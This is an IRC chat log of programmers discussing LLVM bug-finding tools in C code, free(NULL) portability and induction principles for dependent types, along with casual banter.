19:03:46 <AnMaster> Deewiant, I think that 1 was intentional
19:04:10 <Deewiant> I doubt it.
19:04:18 <fizzie> If it was intentional, I don't recall what the intention was.
19:05:47 <AnMaster> heh
19:06:05 <AnMaster> this poolalloc thing seems very interesting
19:06:30 <fizzie> Oh, there's another stated reason; AXFR replies are several times larger than any other (usual) DNS messages, so DNS-based ways of doing DDoS attacks (like the usual: send a whole lot of small UDP dns requests with the same spoofed source IP) are made worse by allowing those.
19:07:31 <fizzie> http://www.auscert.org.au/render.html?it=80 for example seems to recommend against it.
19:13:54 <AnMaster> the project "safecode" seems fairly interesting too
19:19:01 <AnMaster> interesting ones found so far: clang, klee, poolalloc, safecode. Poolalloc seems to be an optimisation pass to automatically detect and rewrite code that would benefit from using a memory pool
19:19:41 -!- tombom_ has joined.
19:21:30 -!- alise_ has joined.
19:23:15 -!- tombom__ has quit (Ping timeout: 276 seconds).
19:23:32 -!- alise__ has joined.
19:23:42 <alise__> I think that, on balance, laptops were definitely designed by someone without a penis.
19:24:54 -!- alise has quit (Ping timeout: 252 seconds).
19:25:15 <AnMaster> alise__, oh?
19:25:22 <AnMaster> alise__, is it getting fried?
19:25:53 <alise__> XD No.
19:26:00 -!- alise_ has quit (Ping timeout: 252 seconds).
19:26:00 <alise__> It's just not the most comfortable position for a computer
19:26:19 <AnMaster> alise__, I was about to suggest "or because you find it so comfortable?"
19:26:22 <AnMaster> :P
19:26:26 <alise__> >_<
19:26:30 <fizzie> Oh; I thought this was some sort of attituditional complaint about laptops lacking some metaphorical BALLS.
19:26:45 <alise__> Is that an invisible laptop on your lap or are you just happy to see me?
19:26:51 <AnMaster> fizzie, yeah they have nipples instead (at least thinkpads does XD)
19:27:18 <AnMaster> alise__, hey, did I mention that joke someone told me about modern smart phones being so big?
19:27:47 <AnMaster> it went: is that a smartphone in your pocket, or are you just happy to see me?
19:28:01 <alise__> So a manly laptop with a TrackPoint should be referred to as a hermaphrodite?
19:28:25 <AnMaster> alise__, I think you can take a sexual joke too far :P
19:28:28 <alise__> AnMaster has a laptop from a range that used to be manly and sturdy but is now merely Asian. I hereby refer to it as a ladyboy.
19:28:38 <AnMaster> alise__, haha
19:28:53 <alise__> LadyPad: The laptop that doubles up as a... I'm stopping this right here.
19:28:56 <AnMaster> alise__, you know, when I called lenovo support I ended up at IBM
19:28:58 <AnMaster> last week
19:29:27 <AnMaster> (a small crack in the plastic that makes up the palm rest, went on warranty, user replaceable part)
19:29:39 <AnMaster> err wait, it was this week even
19:29:45 <AnMaster> still isn't past midnight
19:29:57 <AnMaster> should be delivered tomorrow or the day after that I guess
19:38:19 -!- Sgeo has joined.
19:53:08 -!- alise__ has quit (Ping timeout: 252 seconds).
19:54:04 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
20:15:37 -!- Ilari has quit (Ping timeout: 260 seconds).
20:17:51 <AnMaster> fizzie, safecode proved useful too
20:17:59 <AnMaster> found a wtf in cfunge using it
20:18:14 <AnMaster> unlikely to actually cause any harm in practise, but very wrong stiff
20:18:15 -!- Ilari has joined.
20:18:16 <AnMaster> still*
20:18:22 * uorygl ponders whether "A is evidence for B" is equivalent to "~A is evidence for ~B"
20:18:26 * AnMaster corrects the order of those free() calls
20:18:30 <uorygl> Defining "A is evidence for B" as P(B|A) > P(B).
20:19:01 <AnMaster> wait no
20:19:04 <AnMaster> that isn't the issue...
20:20:52 <uorygl> That's perhaps better expressed as P(A and B) > P(A)*P(B). Take the complement, and you get 1 - P(~A or ~B) > (1 - P(~A))(1 - P(~B)). Expand, and you have 1 - P(~A or ~B) > 1 - P(~A) - P(~B) + P(~A)P(~B)...
20:21:18 <Deewiant> AnMaster: What'd it find?
20:22:15 <uorygl> Expand some more, and you have 1 - P(A and B) - P(A and ~B) - P(~A and B) > 1 - P(~A and ~B)P(~A and B) - P(~A and ~B)P(A and ~B) + P(~A)P(~B)...
20:22:27 <uorygl> To quote a friend of mine, ow ow ow ow!
20:24:43 <uorygl> Er, I did that wrong.
20:25:11 <uorygl> Expand some more, and you have 1 - P(A and B) - P(A and ~B) - P(~A and B) > 1 - P(~A and ~B) - P(~A and B) - P(~A and ~B) - P(A and ~B) + P(~A)P(~B). Which is much better, as we can now eliminate stuff.
20:25:19 <AnMaster> Deewiant, I'm not sure...
20:25:25 <AnMaster> Deewiant, looking closer at it it makes no sense
20:25:32 <AnMaster> Deewiant, I suspect broken debug info
20:26:01 <AnMaster> Deewiant, or something. I added a printf debug thingy before that point, it stopped at same point but the printf message was never output
20:28:35 -!- alise has joined.
20:29:32 -!- ais523 has quit (Remote host closed the connection).
20:30:49 <uorygl> So, -P(A and B) > -2P(~A and ~B) + P(~A)P(~B). Rearrange some: 2P(~A and ~B) > P(A and B) + P(~A)P(~B).
20:32:00 <Ilari> Let a = P(B|A), b = P(B|~A), c = P(A), d = P(B). Now ac + b(1-c) = d. A being evidence for B means that a > d. OTOH, if ~A is not evidence for ~B, 1 - P(B|~A) <= 1 - P(B) => b >= d. Thus, ac + b(1-c) = d > dc + d(1-c) = d. Impossible.
20:32:29 -!- alise_ has joined.
20:33:06 -!- alise has quit (Ping timeout: 252 seconds).
20:33:11 * alise_ ponders the implementation of ⊥-elim : ⊥ → ∀a·a
20:33:52 <alise_> Orthodoxy defines it as an empty case-analysis of its argument, giving ⊥-elim x := case x {}
20:34:11 <alise_> But this does not gel if you most commonly do case analysis via pattern matching.
20:34:43 <alise_> This translates to foo p = q; foo q = e'
20:34:44 <alise_> So consider foo x := case x {p -> e; q -> e'}
20:34:59 <alise_> So, for each case, emit the function with the pattern and result in the appropriate place.
20:35:14 <alise_> This would suggest that the implementation is in fact the null string, and just the type signature should suffice.
20:35:16 <alise_> But then what of type inferrence?
20:35:23 <AnMaster> okay this does indeed make no sense..
20:35:28 <alise_> Define this.
20:36:04 <AnMaster> alise_, the "bug" the experimental llvm tool sc detected
20:36:16 <alise_> k
20:36:20 <AnMaster> because switching order of two statements make the second error out. And they should not affect each other
20:36:38 <AnMaster> freeing two different fields in a struct
20:36:46 <AnMaster> (both are pointers)
20:36:49 <alise_> Agda implements it as "⊥-elim ()".
20:37:04 <alise_> I assume () is just an empty nesting there, but doing /any/ case analysis on the empty type should be verboten.
20:37:26 <alise_> Having no right-hand side, meanwhile, basically makes it mandatory that the compiler c
20:37:30 <alise_> *handles this special case.
20:38:13 <alise_> Perhaps the empty case analysis is still the best.
20:38:35 <alise_> Complete:
20:38:45 <alise_> data ⊥ : Type
20:39:01 * AnMaster tries again with llvm-gcc instead of clang to generate the llvm .bc files
20:39:25 <AnMaster> fun that crashes in *yet* another place
20:39:58 -!- alise has joined.
20:40:16 <AnMaster> and something likes to strip the debug info down to bare minimum
20:40:24 <alise> Fuck this
20:40:33 <alise> data ⊥ : Type
20:40:48 <AnMaster> alise, 3G stick?
20:41:31 -!- alise__ has joined.
20:41:47 <AnMaster> okay, now it reliably crashes in the same place (using llvm-gcc) irrespective of the order of the calls there
20:41:54 <alise__> \zxdcfghjk
20:42:01 <AnMaster> alise__, 3G stick?
20:42:11 <alise__> data ⊥ : Type
20:42:13 <alise__> ⊥-elim : ⊥ → ∀a·a
20:42:15 <alise__> ⊥-elim false := case false {}
20:42:22 <alise__> hd
20:42:24 <alise__> yesssssssssss
20:42:26 <alise__> irejg
20:42:30 <alise__> i sent it all before disconnecting
20:42:55 <AnMaster> oh I think it dislikes me freeing the null pointer
20:42:57 <AnMaster> perhaps
20:43:00 -!- alise_ has quit (Ping timeout: 252 seconds).
20:43:02 <AnMaster> which should be valid
20:43:14 <alise__> it's unreliable
20:43:26 <AnMaster> alise__, what? free(NULL)?
20:43:41 <alise__> yes. many systems behave badly
20:43:55 <AnMaster> alise__, even C89 says that should be valid
20:44:09 <AnMaster> so you don't need to check if everything was allocated in the structure you are freeing up
20:44:21 <alise__> by having (free NULL ≡ ⊥)
20:44:26 <AnMaster> alise__, ..?
20:44:29 <alise__> AnMaster: tough
20:44:31 <alise__> it's still unreliable
20:44:33 <alise__> anyway
20:44:35 <alise__> then you could do
20:44:40 <AnMaster> alise__, examples of systems it fails on?
20:44:44 <alise__> ⊥-elim (free NULL)
20:44:45 <AnMaster> sure I can add an if()
20:44:50 <alise__> and derive ANYTHING!
20:44:50 -!- alise has quit (Ping timeout: 252 seconds).
20:44:58 <alise__> AnMaster: mostly old ones, I am not your personal memory bank
20:45:02 <alise__> but I know it's true
20:45:19 <AnMaster> alise__, I doubt llvm targets them though
20:45:32 <alise__> it's still trying to help you avoid bugs
20:45:34 <alise__> stop whinging
20:45:42 <AnMaster> hm
20:45:44 -!- dougx has joined.
20:46:04 <AnMaster> alise__, I take advantage of free(NULL) in cfunge. If so it should be possible to turn that warning off. :/
20:46:40 <alise__> It's a bug-finding tool.
20:46:43 <alise__> It's supposed to annoy you.
20:47:00 <AnMaster> alise__, actually sc is supposed to add run time checks to production code for actual bugs
20:47:14 <AnMaster> so it detects (with low overhead) out of array bounds access and such
20:47:15 <AnMaster> in C code
20:47:41 <alise__> K
20:47:47 <AnMaster> alise__, also it gives error for my call to putchar()
20:47:53 <AnMaster> well according to the line number at least
20:48:23 <AnMaster> perhaps due to using a VLA in that function. I don't know
20:48:26 <fizzie> As a slightly related thing, ANSI C allows realloc(NULL, x) as equivalent to malloc(x), but at least according to comp.lang.c FAQ "several earlier implementations do not support it, so it may not be fully portable"; they don't list problematic implementations, though.
20:48:42 <fizzie> free(NULL) might be more common than realloc(NULL, x), though..
20:48:45 <AnMaster> fizzie, heh, another thing I made use of somewhere
20:48:56 <AnMaster> to just need one code path instead of two
20:50:31 <Gregor> realloc(NULL, x) isn't uncommon at all.
20:51:11 <fizzie> Maybe not, since it's reasonably convenient.
20:51:25 <Gregor> However, it's OK for the same reason as free(NULL), for data structures with e.g. a length and pointer field, where the length is zero if the pointer is NULL. Ignore the length's value, expand, realloc, you're OK.
20:52:17 <AnMaster> Gregor, yeah pretty much how I used it iirc
20:52:35 <fizzie> For that sort of thing having a fixed "prevsize*2" rule for the expanding is not a very good idea, though. :p
20:53:13 <Gregor> True :P
20:53:58 <AnMaster> also it reports alignment error on calling a function pointer
20:54:00 <AnMaster> either that
20:54:19 <AnMaster> or on assigning the return value to a bool
20:55:07 * AnMaster wonders whatever is on 0x419d70
20:55:20 <AnMaster> well the debug info is mostly stripped somewhere (I don't know where, irritating anyway)
20:55:25 <AnMaster> so I can't figure it out really
20:59:05 <AnMaster> hm... seems to be the function pointer itself
20:59:09 <AnMaster> and I suspect it is wrong here
21:00:59 -!- Guest21507 has joined.
21:01:13 -!- Guest21507 has quit (Client Quit).
21:10:09 <AnMaster> alise__, also it seems to dislike calling free() on something you got from strdup()
21:10:28 <AnMaster> which the man page explicitly says should be freed using free()
21:10:57 <Gregor> lolwtf
21:11:23 <AnMaster> Gregor, well, it is an svn version, and there is no stable version yet
21:11:27 <AnMaster> so I'm not *too* surprised
21:11:41 <AnMaster> Gregor, you know how it is with llvm projects I assume
21:11:41 <AnMaster> ?
21:11:54 <Gregor> Not much of a clue.
21:11:58 -!- alise__ has quit (Ping timeout: 252 seconds).
21:12:07 <AnMaster> you are *bound* to get at least two assertion errors on anything non-trivial
21:12:16 <AnMaster> that requires some tracking down to figure out what the heck is going on
21:12:44 <AnMaster> (in this case I have to force llvm itself to not optimise things into vector stuff using SSE for example)
21:13:18 <AnMaster> and they love to use assert(0 && "foo is not implemented yet"); for erroring out
21:14:00 <AnMaster> Gregor, clang is now past this phase
21:14:12 <AnMaster> and the clang static analyser seems to only crash sometimes nowdays
21:14:19 <Gregor> Sweet
21:14:56 <AnMaster> Gregor, it is pretty easy to crash llvm tools in general though. Heck it is easy to make llvm unable to compile itself if even
21:14:59 <AnMaster> or used to be at least
21:15:04 -!- dougx has left (?).
21:15:19 <AnMaster> was easy in 2.6. 2.7 is to be released on April or May iirc
21:15:37 <Deewiant> In a month; the code freeze is in some hours
21:16:05 <AnMaster> Deewiant, and the major new hot feature in almost all categories is "..." I see: http://llvm.org/docs/ReleaseNotes.html#whatsnew
21:16:13 <AnMaster> ... is the new black or something
21:16:23 <Deewiant> Rather, the release notes haven't yet been written
21:16:34 <AnMaster> Deewiant, I know, but I prefer my interpretation
21:16:48 <Deewiant> Whatever makes you happy
21:17:10 <AnMaster> Deewiant, for a start, mine is funnier
21:34:23 -!- adu has joined.
21:38:37 <Wareya> why do people keep asking me to debug PHP scripts
21:40:16 <AnMaster> Wareya, no idea. Do you know PHP at all?
21:40:34 <Wareya> barely
21:40:44 <AnMaster> well, no idea then
21:41:11 <AnMaster> Wareya, but while you are at it, please go formally prove the entire mediawiki codebase will you? ;P
21:41:55 <AnMaster> night →
21:42:20 <Wareya> night
21:48:34 -!- alise has joined.
21:48:37 <Wareya> hi
21:48:39 <alise> I realised something [obvious]
21:48:43 <Wareya> okay
21:49:17 <alise> You don't need special syntax for forall and the like.
21:49:19 <alise> e.g.
21:49:21 <alise> ∀ : Type → (Type → Type) → Type
21:49:38 <alise> then
21:49:40 <alise> id : ∀Type (λa. a → a)
21:50:02 <alise> Hmm, actually, since forall is implicit arguments I guess it's actually
21:50:47 <alise> ∀ : ∀Type (λa. (a → Type) → Type)
21:50:48 <alise> Which is, alas, circular.
21:51:04 <alise> Also you need to handle the type levels and whatnot
21:51:27 -!- alise_ has joined.
21:52:01 <alise_> What did I last say?
21:52:38 <MissPiggy> alise, http://wiki.portal.chalmers.se/agda/pmwiki.php?n=Libraries.RulesForTheStandardSetFormers
21:52:45 <MissPiggy> scroll to the very bottom,
21:52:46 <MissPiggy> see: π : (a : U) -> (T a -> U) -> U
21:52:50 <MissPiggy> T (π a b) = Π (T a) (\x -> T (b x))
21:53:05 <MissPiggy> this is an example of an inductive-recursive definition (like I was talking about earlier)
21:54:07 <alise_> you mean how implementing the obvious type for induction in a dep-type lang gives you recursion?
21:54:07 <alise_> or is this a separate thing
21:54:40 <MissPiggy> umm
21:55:17 <alise_> seems pretty similar from those two lines at least
21:55:36 -!- alise has quit (Ping timeout: 252 seconds).
21:55:55 <alise_> Hey, actually, I can define forall nonrecursively.
21:56:15 -!- adu has quit (Quit: adu).
21:56:48 <alise_> ∀-Type : (Type → Type) → Type
21:56:49 <alise_> ∀ : ∀-Type (λa. (a → Type) → Type)
21:56:59 <alise_> Of course, the two are still axioms.
22:02:30 <alise_> http://pastie.org/858677.txt?key=x2vpvu1ou7e3uyjcbd8ybg
22:02:44 <alise_> (Note: T is merely an unfortunate name, not \top)
22:03:05 * alise_ replaces it with X locally
22:03:50 <alise_> Actually, \gamma, since it looks like "y" and "y" evokes "mi" evokes "me".
22:10:57 <alise_> Hmm, my \mu-elim fails to actually let you go through the recursive structure. I should fix that.
22:11:16 <Sgeo> (greet "alise")
22:11:39 <alise_> map : ∀Type (λa. ∀Type (λb. (a → b) → RecList a → RecList b))
22:11:39 <alise_> map f := μ-elim (∨-elim (λ_. unit) (∨-elim (λx xs. cons (f x) (map f xs)) (λxs ys. consRec (map f xs) (map f ys))))
22:11:50 <alise_> is certainly theoretic, but it's still packed with explicit recursion.
22:11:53 <alise_> As pretty as it is.
22:15:14 <alise_> MissPiggy: hmm, with a proper recursion combinator I could easily have my core language be point-free couldn't I?
22:20:08 <pikhq> alise_: Yes, with a fixed-point combinator, point-free-ness is feasible.
22:20:50 <alise_> pikhq: *structural recursion combinator
22:20:54 <alise_> fix : (a -> a) -> a is unsound.
22:21:10 <alise_> consider:
22:21:24 <alise_> id-specialised : _|_ -> _|_
22:21:27 <alise_> fix id-specialised : _|_
22:21:38 <alise_> _|_-elim (fix id-specialised) : a
22:21:49 <alise_> Yay, now we can derive anything.
22:23:24 <pikhq> alise_: Okay, fine. You want Mu, not y.
22:25:49 -!- kar8nga has quit (Remote host closed the connection).
22:26:41 <alise_> y is even more unsound than the named definition of fix, which is a stunning anti-achievement :P
22:27:08 <pikhq> y is indeed quite unsound. It doesn't work with types.
22:27:41 <alise_> you can type it in some systems
22:27:41 <alise_> specifically designed for it
22:27:55 <pikhq> Mmm.
22:27:58 <alise_> The problem is that structural recursion requires mu (p |) and that bothers me
22:28:08 <alise_> I already have |-elim, it'd be nice to have an independent mu-elim
22:28:13 <alise_> but I can't think of a type for it at all
22:28:29 <alise_> mu-elim : ... -> mu a -> ?
22:28:43 <alise_> we know that a : * -> *
22:28:54 <alise_> so we could exploit that somehow to replace the recursive bits with something of our own design
22:28:57 <alise_> like (), say
22:29:37 <alise_> for instance that gives for nats () | ()
22:29:50 <alise_> so we can distinguish it in the function given by left/right
22:29:55 <alise_> but then what of the return value?
22:30:17 <alise_> we need to somehow "reduce" it
22:30:18 <alise_> so that we can further eliminate it
22:30:31 <alise_> so what do we need for structural recursion: a base case, and a step case
22:30:42 <alise_> but how do we distinguish the two if all we have is mu a where a : * -> *?
22:31:03 <MissPiggy> alise did you raed it?
22:31:18 * Sgeo should check his KI-mail
22:31:42 <alise_> MissPiggy: i'm doing so
22:31:58 <MissPiggy> was just wondering because if you didn't I can try not to link anything to you
22:32:05 <MissPiggy> which would save me time obviously
22:32:25 <alise_> you're so happy-go-lucky
22:33:14 <alise_> MissPiggy: i don't get what you're trying to express with your quotes
22:33:20 <alise_> that pi is structural recursion there?
22:33:38 <MissPiggy> every function is defined by structural recursion
22:33:42 <MissPiggy> pi is syntax for forall
22:33:59 <MissPiggy> kinda like
22:33:59 <MissPiggy> 21:48 < alise> ∀ : Type → (Type → Type) → Type
22:34:17 <alise_> ah. right
22:34:56 <alise_> MissPiggy: is it possible to define mu-elim without having it be (mu (a |)) or similar
22:34:59 <alise_> instead just being mu a?
22:35:17 <alise_> mu-elim : (a something -> ?) -> ... -> mu a -> ?
22:36:47 <MissPiggy> alise, in Coq I can define:
22:36:49 <MissPiggy> Inductive Mu : Set := roll : list Mu -> Mu.
22:37:01 <MissPiggy> or
22:37:01 <MissPiggy> Inductive Mu : Set := roll : (Mu * nat) -> Mu.
22:37:16 <MissPiggy> or even
22:37:16 <MissPiggy> Inductive Mu : Set := roll : (nat -> list Mu) -> Mu.
22:37:25 <MissPiggy> lots of different ones
22:37:32 <MissPiggy> but I can't defined
22:37:33 <MissPiggy> Inductive Mu (F : Set -> Set) : Set := roll : F (Mu F) -> Mu F.
22:37:45 <MissPiggy> that is not valid _unless F is known to be a strictly positive functor_
22:38:04 <MissPiggy> supposing F were a SPF, what would the induction scheme for Mu F be?
22:38:16 <alise_> oh you do it with functors?
22:38:24 <alise_> MissPiggy: by that question do you mean "implement Mu"?
22:38:36 <MissPiggy> no
22:38:48 <alise_> then what
22:38:59 <MissPiggy> you don't know how to calcuate induction schemes from data defintions yet
22:39:01 <MissPiggy> ?
22:39:10 <alise_> I was just attempting to clarify the question.
22:39:34 <alise_> I certainly know how to derive maybe from Maybe and the like if that's what you're referring to.
22:39:39 <MissPiggy> yes
22:39:42 <alise_> Oh, I see, Mu there is a type
22:39:48 <MissPiggy> except more dependent
22:39:48 <alise_> I don't know Coq syntax, I thought it was a function type
22:39:56 <MissPiggy> oh you should learn Coq
22:40:04 <alise_> Yes, I believe so too.
22:40:10 <MissPiggy> it will compute a lot of things for you which would take ages otherwise
22:40:20 <alise_> In my system I was going to have mu be axiomatic to solve this, like the Epigram people.
22:40:28 <alise_> (the definition problem)
22:40:32 <alise_> Anyway, the induction scheme.
22:41:01 <alise_> (I denote, I think from Agda, the inducterifier for T with T-elim,)
22:41:34 <alise_> Let me try and do this bit by bit.
22:41:41 <alise_> Mu-elim : ... -> Mu F -> something that doesn't involve mu
22:42:11 <alise_> (Admittedly I have not actually researched the mechanical ways to do things like this because Surely The Computer Can Work It Out For Me, so this will be slapdash and stupid.)
22:42:57 <alise_> Well, we have (a->b)->f a->f b
22:43:01 <alise_> which works out to
22:43:16 <alise_> (mu f -> b)->f (mu f)->f b
22:43:20 <MissPiggy> N := O : N | S : N -> N
22:43:25 <alise_> MissPiggy: i'm aware
22:43:31 <MissPiggy> k I'll just not bother
22:44:10 <alise_> So if we can transform the "guts" of some mu to something else, we can eliminate the mu.
22:44:39 <alise_> But the guts are also recursive.
22:44:55 <alise_> (mu (f (mu f)) -> b) -> f (mu (f (mu f))) -> f b
22:45:23 <alise_> MissPiggy: I should learn the mechanical method for this. But my hunch is that we will be transforming the Fs into another type, and keeping the recursive structure.
22:45:47 <alise_> With some opportunity for a base case.
22:45:57 <alise_> Presumably along the lines of the elimination given by fmap above.
22:48:52 <alise_> MissPiggy: Your silence is bothersome.
22:49:32 <alise_> ((forall x. a x -> b x) -> mu a -> mu b)
22:49:43 <alise_> is presumably doable but leaves no opportunity for a base case
22:49:57 <MissPiggy> dealing with a situation
22:50:00 <alise_> hmm... i think
22:54:57 <Wareya> cool
22:56:28 -!- tombom_ has quit (Quit: Leaving).
23:01:50 <alise_> we
23:04:20 * Sgeo visits a possibly malicious site from a school computer
23:04:45 -!- sshc has quit (Ping timeout: 240 seconds).
23:04:59 -!- MigoMipo has quit (Remote host closed the connection).
23:05:05 -!- sshc has joined.
23:05:40 <Sgeo> Beh, nothing useful
23:17:00 -!- adam_d has quit (Quit: Leaving).
23:20:29 <alise_> MissPiggy: it'd be cool if you just told me the induction schema :D
23:24:33 <alise_> apparently epigram has one single elimination operator that works on every single type
23:24:39 <alise_> which is fantastic if it really works
23:26:50 <Sgeo> alise_ has me on ignore?
23:26:59 <Sgeo> Well, probably not
23:26:59 <alise_> no
23:32:09 <MissPiggy> I think I gave up on
23:32:10 <MissPiggy> 22:42 < MissPiggy> N := O : N | S : N -> N
23:32:10 <MissPiggy> 22:43 < alise_> MissPiggy: i'm aware
23:36:07 <alise_> i did not know that more was forthcoming
23:36:13 <alise_> if you don't want to answer fine
23:36:52 <MissPiggy> I was going to say what the induction principle for N was
23:39:46 * Sgeo goes to visit his Relto
23:40:40 <alise_> MissPiggy: I did not realise this at the time. Please, go on.
23:41:23 <MissPiggy> you know this one already, P(O) -> (forall n, P(n) -> P(S n)) -> forall n, P(n)
23:41:38 <MissPiggy> and for B := T | F we have P(T) -> P(F) -> forall b, P(b)
23:42:52 <alise_> yeah
23:42:55 <MissPiggy> it gets more interesting with ordinal-induction, where you have something like O := Z : O | S : O -> O | L : (N -> O) -> I
23:42:59 <MissPiggy> oops
23:43:05 <MissPiggy> O := Z : O | S : O -> O | L : (N -> O) -> O
23:43:08 <alise_> -> O prs'mbly
23:43:48 <MissPiggy> P(Z) -> (forall o, P(o) -> P(S o)) -> (forall l, (forall n, P(f n)) -> P(l f))
23:43:50 <MissPiggy> oopr
23:43:55 <MissPiggy> P(Z) -> (forall o, P(o) -> P(S o)) -> (forall l, (forall n, P(f n)) -> P(l f)) -> forall o, P(o)
23:44:09 <alise_> wait sec
23:44:13 <alise_> gimme a second to read that
23:44:28 <alise_> From whence f in this definition?
23:44:32 <alise_> You do not quantify over it.
23:44:39 <MissPiggy> oops
23:44:47 <MissPiggy> P(Z) -> (forall o, P(o) -> P(S o)) -> (forall f, (forall n, P(f n)) -> P(l f)) -> forall o, P(o)
23:44:53 <MissPiggy> f : N -> O
23:44:57 <alise_> From whence l?
23:45:00 <MissPiggy> grr
23:45:04 <MissPiggy> P(Z) -> (forall o, P(o) -> P(S o)) -> (forall f, (forall n, P(f n)) -> P(L f)) -> forall o, P(o)
23:45:09 <MissPiggy> this is correct now
23:45:17 <alise_> now lemme read it :P
23:45:58 <alise_> so the last one is "show that for all f : * -> * and all n : Nat, P (f n) implies P (L f)."
23:46:07 <MissPiggy> f : N -> O
23:46:10 <alise_> so if it's true for any type-function, so to speak, it's true for L f
23:46:14 <alise_> L that function, that is
23:46:19 <alise_> MissPiggy: right
23:46:27 <alise_> how do we use this?
23:46:46 <MissPiggy> if f is a family of nat indexed ordinals, then L f is an ordinal
23:47:03 <alise_> yeah
23:47:07 <MissPiggy> so if you can prove P for every (f n), then P (L f) holds -- principle of transfinite induction from set theory
23:47:18 <alise_> gotcha
23:47:27 <alise_> it's just nested induction basically
23:47:32 <MissPiggy> yes
23:47:35 <MissPiggy> !! exacty!!
23:47:37 <alise_> so, wait
23:47:45 <alise_> we have P (_ : N -> O) and yet P (_ : O)
23:47:52 <alise_> no wait
23:47:52 <MissPiggy> no
23:47:53 <alise_> it's f n
23:47:54 <alise_> right
23:47:54 <alise_> gotcha
23:47:55 <alise_> sweet
23:47:55 <MissPiggy> P : O -> *
23:48:00 <alise_> okay, so, next thing
23:48:23 <MissPiggy> now it gets more difficult
23:48:50 <MissPiggy> what if we defined a strange type of trees like this
23:49:00 <MissPiggy> T := L : T | B : list T -> T
23:49:34 <alise_> hmm
23:49:45 <alise_> presumably we have to nest list induction
23:49:46 <MissPiggy> lets jsut remember that list T is equivalent to Sigma n, Fin n -> T
23:50:01 <MissPiggy> so we could write
23:50:21 <MissPiggy> T' := L' : T' | B' : (n : N) -> (Fin n -> T) -> T
23:50:33 <alise_> I am unfamiliar with your definitions of Sigma/Fin in this particular case.
23:51:06 <alise_> If you give me the definitions directly we can swiftly move on.
23:51:20 <MissPiggy> <n, p> : Sigma n, P(n) it's a dependent pair
23:51:46 <MissPiggy> Fin 0 = False, Fin 1 = (), Fin 2 = Bool, Fin 3 = {yes,no,maybe}, Fin 4 = {north, south, east, west}, ..
23:52:00 <alise_> so Fin n is what set theorists would term n
23:52:06 <alise_> and, uh, what?
23:52:21 <alise_> sigma as in dependent quantification?
23:52:23 <MissPiggy> "Sigma" is like exists, except that it's data rather than proofs
23:52:31 <alise_> right but you have to specify a type...
23:52:48 <MissPiggy> Fin : N -> *
23:52:55 <alise_> And is it Sigma a, b the syntax?
23:52:55 <alise_> like Forall a, b
23:52:58 <MissPiggy> so n is a natural number in Sigma n, Fin n -> T
23:53:04 <MissPiggy> well you could write
23:53:09 <alise_> right, but i still do not get Sigma
23:53:11 <MissPiggy> Sigma N (\n -> Fin n -> T)
23:53:15 <alise_> rewrite it with dot notation
23:53:16 <alise_> ok so it's
23:53:18 <MissPiggy> if it was defined as
23:53:23 <alise_> sigma (n:N). Fin n -> T
23:53:38 <MissPiggy> Sigma (T : *) (P : T -> *) : <_,_> : (t : T) -> P t -> Sigma T P
23:53:41 <MissPiggy> oops
23:53:44 <MissPiggy> Sigma (T : *) (P : T -> *) := <_,_> : (t : T) -> P t -> Sigma T P
23:53:45 <alise_> I am still unsure why we specifically chose this to isomorph list to.
23:54:04 <MissPiggy> a lists is say, 4::4::3::2::5::5::nil,
23:54:23 <MissPiggy> so that's equivalent to the function {#0->4,#1->4,#2->3,...}
23:54:31 <MissPiggy> (using # notation for elements of Fin)
23:54:58 <alise_> And 0->4,1->4, etc but fair dos.
23:55:00 <alise_> Why do we need Sigma here?
23:55:06 <MissPiggy> the reason is because we can compute the induction principle for T, but we DOnt know how to do T yet
23:55:09 <MissPiggy> oops
23:55:10 <MissPiggy> the reason is because we can compute the induction principle for T', but we DOnt know how to do T yet
23:55:22 -!- Gracenotes has quit (Remote host closed the connection).
23:55:52 <alise_> no what i mean is
23:55:55 <alise_> I get how a list is isomorphic to Fin n -> T
23:55:58 <MissPiggy> no
23:55:59 <alise_> oh i see
23:56:02 <alise_> we're using sigma to quantify
23:56:05 <MissPiggy> list is isomorphic to Sigma n, Fin n -> T
23:56:18 <alise_> can you use the notation forall (n:N) in future? Sorry; it's just heavily ingrained in my mind.
23:56:27 <MissPiggy> because (Sigma n, Fin n -> T) : *, but (forall n, Fin n -> T) : N -> *
23:56:28 <alise_> My mind parses that Sigma very badly :/ A personal failing.
23:56:39 <MissPiggy> list T : * whereas Vector T : N -> *
23:56:46 <alise_> Hmm. I see.
23:56:52 <alise_> Not in mine.
23:56:55 <alise_> forall is implicit in mine.
23:56:59 <alise_> Then {n:N} ->, I suppose.
23:57:19 <MissPiggy> anyway you can do the induction principle for T' the same way as we did O
23:57:50 <alise_> Can you repeat T''s definition with {x:T} -> notation?
23:57:53 <alise_> I think I will understand it then.
23:58:04 <MissPiggy> T' := L' : T' | B' : (n : N) -> (Fin n -> T') -> T'
23:58:25 <alise_> *{n : N} ->
23:58:32 <alise_> But, gotcha.
23:58:32 <MissPiggy> it's not implicit
23:58:38 <alise_> Except that only handles infinite lists
23:58:41 <MissPiggy> what do you mean by {}?
23:58:43 <alise_> MissPiggy: oh right
23:58:45 <MissPiggy> no it only handles finite lists
23:58:46 <alise_> sorry
23:58:49 <alise_> really?
23:58:50 <MissPiggy> every natural number is finite
23:58:55 <alise_> yes, but
23:58:58 <alise_> Fin 984350934580345
23:59:05 <MissPiggy> that's still finite :D
23:59:06 <alise_> doesn't work as a param to a 5-length list
23:59:23 <alise_> no it isn't you have to be able to access element N for every natural N
23:59:30 <alise_> which is the very definition of countably infinite...
2010-03-08
00:00:04 <MissPiggy> 1::2::3::nil is represented as <3, {yes->1;no->2;maybe->3}>
00:00:24 <MissPiggy> r::q::p::::snil is represented as <4, {north->1;south->2;east->3;west->4}>
00:00:27 <MissPiggy> oops
00:00:35 <MissPiggy> r::q::p::s::nil is represented as <4, {north->r;south->q;east->p;west->s}>
00:00:40 <alise_> aha
00:00:43 <alise_> gotcha!
00:00:48 <alise_> ok, so what's the induction for T'?
00:00:58 <MissPiggy> why don't you write it
00:01:03 <MissPiggy> ill tell you if you get it right :)
00:01:07 <MissPiggy> look at O for inspiration
00:02:15 <alise_> Pr
00:02:27 <alise_> Ordinarily I'd love to, but - I really should have left many minutes ago.
00:02:49 <alise_> You could save the dialogue for later, I'd love to participate, and just show me the induction schema for mu now for me to mull over.
00:02:57 <alise_> Or you could wait for both. Your choice.
00:05:14 <MissPiggy> there is no way you can possibly understand the scheme for Muu
00:05:29 <alise_> Likely.
00:05:29 <MissPiggy> You have to first understand T
00:05:35 <alise_> But I'm interested in it regardless.
00:05:47 <MissPiggy> it will be very simple and clear once if you just approach it step by step
